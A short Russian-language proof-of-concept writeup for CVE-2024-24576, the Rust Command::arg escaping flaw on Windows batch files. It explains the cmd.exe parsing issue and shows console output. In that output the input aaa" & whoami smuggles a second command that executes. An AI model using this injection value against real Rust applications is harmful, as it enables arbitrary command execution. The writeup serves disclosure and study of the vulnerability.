
Пример использования CVE-2024-24576.
API-интерфейсы Command::arg и Command::args в своей документации утверждают, что аргументы будут переданы запускаемому процессу как есть, независимо от содержимого аргументов, и не будут обрабатываться оболочкой. Это означает, что передавать недоверенные входные данные в качестве аргумента должно быть безопасно.
В Windows реализация этого сложнее, чем на других платформах, потому что Windows API предоставляет только одну строку, содержащую все аргументы запускаемого процесса, и разделять их должен сам запускаемый процесс. Большинство программ используют стандартный argv из C run-time, что на практике приводит к в значительной степени единообразному способу разделения аргументов.
Однако есть одно исключение: cmd.exe (используется, помимо прочего, для выполнения пакетных файлов), у которого собственная логика разделения аргументов. Это вынуждает стандартную библиотеку реализовывать собственное экранирование аргументов, передаваемых пакетным файлам. К сожалению, было сообщено, что наша логика экранирования была недостаточно тщательной, и можно было передать вредоносные аргументы, приводящие к произвольному выполнению команд в оболочке.
Запуск файла main.rs со следующими полезными нагрузками даёт
C:\Users\frost\testing>cargo run
Compiling testing v0.1.0 (C:\Users\frost\testing)
Finished dev [unoptimized + debuginfo] target(s) in 0.49s
Running `target\debug\testing.exe`
enter payload here
aaa
Output:
Argument received: aaa
C:\Users\frost\testing>cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `target\debug\testing.exe`
enter payload here
aaa & whoami
Output:
Argument received: "aaa & whoami"
C:\Users\frost\testing>cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `target\debug\testing.exe`
enter payload here
aaa" & whoami
Output:
Argument received: "aaa\"
desktop-8j2vk8b\frost
Обратите внимание на экранированный аргумент с " whoami
НЕ МОЯ НАХОДКА!